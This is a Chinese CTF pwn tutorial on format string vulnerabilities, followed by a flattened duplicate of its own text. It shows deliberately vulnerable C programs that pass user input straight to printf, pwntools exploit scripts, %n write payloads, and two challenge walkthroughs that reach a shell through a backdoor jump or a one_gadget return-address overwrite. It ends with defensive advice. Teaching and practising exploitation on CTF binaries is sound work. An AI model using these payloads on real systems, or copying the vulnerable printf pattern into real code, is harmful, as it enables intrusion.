CTF-pwn 技术总结(2)
字数 1890 2025-08-07 08:22:15

格式化字符串漏洞详解与利用技术

一、格式化字符串漏洞概述

格式化字符串漏洞是由于程序员错误使用格式化输出函数(如printf)导致的漏洞。当开发者直接使用用户输入作为格式化字符串参数时,攻击者可以构造特殊的输入来读取或修改内存内容。

漏洞成因

正确写法

char str[100];
scanf("%s", str);
printf("%s", str);

漏洞写法

char str[100];
scanf("%s", str);
printf(str);  // 直接使用用户输入作为格式化字符串

二、常见的格式化字符串函数

输出类函数

  • printf:输出到stdout
  • fprintf:输出到指定FILE流
  • vprintf:根据参数列表格式化输出到stdout
  • vfprintf:根据参数列表格式化输出到指定FILE流
  • sprintf:输出到字符串
  • snprintf:输出指定字节数到字符串
  • vsprintf:根据参数列表格式化输出到字符串
  • vsnprintf:根据参数列表格式化输出指定字节到字符串
  • setproctitle:设置argv
  • syslog:输出日志
  • err, verr, warn, vwarn

三、漏洞利用技术

1. 泄露栈上内容

  • %x:获取对应栈的内存(建议使用%p,可以不用考虑位数区别)
  • %s:获取变量所对应地址的内容(有零截断问题)
  • %order$x:获取指定参数的值
  • %order$s:获取指定参数对应地址的内容

示例1

#include<stdio.h>
int main() {
    char a[100];
    scanf("%s",a);
    printf(a);
    return 0;
}

输入多个%p可以泄露栈内容,输入多个%s可能导致程序崩溃(如果对应位置不是有效字符串地址)。

2. 覆盖内存(任意地址写)

使用%n格式化符可以将之前输出的字符数写入指定地址:

  • %n:写入4字节
  • %hn:写入2字节
  • %hhn:写入1字节

覆盖公式

%[num]c + %[order]$n + [填充字符] + [覆盖的地址]

其中:

  • [order]:覆盖地址在格式化字符串中的参数位置
  • [num]:要修改的值的十进制数
  • [填充字符]:使payload满足4/8字节对齐

示例2

#include <stdio.h>
int main() {
    int flag = 0x1234;
    char s[100];
    printf("%p\n", &flag);
    scanf("%s", s);
    printf(s);
    if(flag == 0xdead)
        printf("\ngood job!\n");
    return 0;
}

利用步骤

  1. 获取flag地址(题目已给出)
  2. 计算[num] = 0xdead = 57005
  3. 确定输入字符串在栈上的位置(本例中为第8个参数)
  4. 构造payload:%57005c%10$n + aaaa + p64(flag_addr)

Python利用代码

from pwn import *
context.log_level = 'debug'
p = process('./fmt_test4')
flag_addr = int(p.recvline().strip(), 16)
payload = '%57005c%10$naaaa' + p64(flag_addr)
p.sendline(payload)
p.interactive()

四、高级利用技术

1. 多阶段覆盖

当需要覆盖大地址值时(如libc地址),可以分多次写入:

# 写入高字节
num = (one_addr & 0xff0000) >> 16
cover(num, save_main_ret + 2, 1)

# 写入低字节
num = (one_addr & 0xffff)
cover(num, save_main_ret, 2)

2. pwntools辅助函数

pwnlib.fmtstr.fmtstr_payload可以简化payload构造:

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

参数:

  • offset:控制的第一个格式化程序的偏移量
  • writes:{addr: value}字典
  • numbwritten:printf已写入的字节数
  • write_size:'byte'、'short'或'int'(对应hhn、hn或n)

示例:

>>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
b'%1c%3$na\x00\x00\x00\x00'

五、漏洞检测工具

推荐使用IDA插件LazyIDA检测格式化字符串漏洞:

  • 下载地址:https://github.com/L4ys/LazyIDA
  • 能检测大多数格式化字符串漏洞模式

六、实战案例分析

案例1:PWN梦空间-snow

题目特点

  • 仅能利用一次的格式化字符串漏洞
  • .text段为RWX(可读可写可执行)
  • 存在后门函数system('/bin/sh')

利用思路

  1. 使用格式化字符串漏洞修改main函数汇编
  2. 0x4008b0处的mov eax,0改为jmp 0x4008b7
  3. 只需修改2字节为EB 05(十进制1515)

EXP

from pwn import *
context.log_level = 'debug'
p = process('./snow')
sla('you?\n', b'%1515c%43$naaaa')
p.interactive()

案例2:logging

题目特点

  • 保护全开(RELRO、Canary、NX、PIE)
  • 无限循环的格式化字符串漏洞
  • 可无限次泄露地址

利用思路

  1. 泄露main函数返回地址、rbp值和logging函数返回地址
  2. 计算libc基址、程序基地址和栈地址
  3. 覆盖main返回地址为one_gadget
  4. 覆盖logging返回地址为main返回地址以跳出循环

关键步骤

# 泄露libc地址
main_ret = leak('AAAA%27$p')
libc_main_addr = main_ret - 240
libc_base = libc_main_addr - libc.symbols['__libc_start_main']

# 泄露栈地址
rbp = leak('AAAA%16$p')
save_logging_ret = rbp - 0x48
save_main_ret = rbp + 0x8

# 分阶段覆盖
num = (one_addr & 0xff0000) >> 16
cover(num, save_main_ret + 2, 1)
num = (one_addr & 0xffff)
cover(num, save_main_ret, 2)

# 修改返回地址跳出循环
num = (leave_addr & 0xffff)
cover(num, save_logging_ret, 2)

七、防御措施

  1. 正确使用格式化函数:永远不要使用用户输入直接作为格式化字符串
  2. 编译器警告:开启编译器警告(如gcc的-Wformat-security
  3. 静态分析:使用静态分析工具检测潜在漏洞
  4. 动态保护:启用FORTIFY_SOURCE等保护机制

八、总结

格式化字符串漏洞利用技术要点:

  1. 信息泄露:使用%p%s等泄露内存内容
  2. 任意地址写:使用%n系列格式化符修改内存
  3. 参数定位:准确确定目标地址在栈上的位置
  4. 分阶段写入:对于大地址值采用多次写入策略
  5. 工具辅助:善用pwntools和调试工具简化利用过程

掌握这些核心技术点,就能灵活应对各种格式化字符串漏洞场景。

格式化字符串漏洞详解与利用技术 一、格式化字符串漏洞概述 格式化字符串漏洞是由于程序员错误使用格式化输出函数(如printf)导致的漏洞。当开发者直接使用用户输入作为格式化字符串参数时,攻击者可以构造特殊的输入来读取或修改内存内容。 漏洞成因 正确写法 : 漏洞写法 : 二、常见的格式化字符串函数 输出类函数 printf :输出到stdout fprintf :输出到指定FILE流 vprintf :根据参数列表格式化输出到stdout vfprintf :根据参数列表格式化输出到指定FILE流 sprintf :输出到字符串 snprintf :输出指定字节数到字符串 vsprintf :根据参数列表格式化输出到字符串 vsnprintf :根据参数列表格式化输出指定字节到字符串 setproctitle :设置argv syslog :输出日志 err , verr , warn , vwarn 等 三、漏洞利用技术 1. 泄露栈上内容 %x :获取对应栈的内存(建议使用 %p ,可以不用考虑位数区别) %s :获取变量所对应地址的内容(有零截断问题) %order$x :获取指定参数的值 %order$s :获取指定参数对应地址的内容 示例1 : 输入多个 %p 可以泄露栈内容,输入多个 %s 可能导致程序崩溃(如果对应位置不是有效字符串地址)。 2. 覆盖内存(任意地址写) 使用 %n 格式化符可以将之前输出的字符数写入指定地址: %n :写入4字节 %hn :写入2字节 %hhn :写入1字节 覆盖公式 : 其中: [order] :覆盖地址在格式化字符串中的参数位置 [num] :要修改的值的十进制数 [填充字符] :使payload满足4/8字节对齐 示例2 : 利用步骤 : 获取flag地址(题目已给出) 计算 [num] = 0xdead = 57005 确定输入字符串在栈上的位置(本例中为第8个参数) 构造payload: %57005c%10$n + aaaa + p64(flag_addr) Python利用代码 : 四、高级利用技术 1. 多阶段覆盖 当需要覆盖大地址值时(如libc地址),可以分多次写入: 2. pwntools辅助函数 pwnlib.fmtstr.fmtstr_payload 可以简化payload构造: 参数: offset :控制的第一个格式化程序的偏移量 writes :{addr: value}字典 numbwritten :printf已写入的字节数 write_size :'byte'、'short'或'int'(对应hhn、hn或n) 示例: 五、漏洞检测工具 推荐使用IDA插件 LazyIDA 检测格式化字符串漏洞: 下载地址:https://github.com/L4ys/LazyIDA 能检测大多数格式化字符串漏洞模式 六、实战案例分析 案例1:PWN梦空间-snow 题目特点 : 仅能利用一次的格式化字符串漏洞 .text段为RWX(可读可写可执行) 存在后门函数 system('/bin/sh') 利用思路 : 使用格式化字符串漏洞修改main函数汇编 将 0x4008b0 处的 mov eax,0 改为 jmp 0x4008b7 只需修改2字节为 EB 05 (十进制1515) EXP : 案例2:logging 题目特点 : 保护全开(RELRO、Canary、NX、PIE) 无限循环的格式化字符串漏洞 可无限次泄露地址 利用思路 : 泄露main函数返回地址、rbp值和logging函数返回地址 计算libc基址、程序基地址和栈地址 覆盖main返回地址为one_ gadget 覆盖logging返回地址为main返回地址以跳出循环 关键步骤 : 七、防御措施 正确使用格式化函数 :永远不要使用用户输入直接作为格式化字符串 编译器警告 :开启编译器警告(如gcc的 -Wformat-security ) 静态分析 :使用静态分析工具检测潜在漏洞 动态保护 :启用FORTIFY_ SOURCE等保护机制 八、总结 格式化字符串漏洞利用技术要点: 信息泄露:使用 %p 、 %s 等泄露内存内容 任意地址写:使用 %n 系列格式化符修改内存 参数定位:准确确定目标地址在栈上的位置 分阶段写入:对于大地址值采用多次写入策略 工具辅助:善用pwntools和调试工具简化利用过程 掌握这些核心技术点,就能灵活应对各种格式化字符串漏洞场景。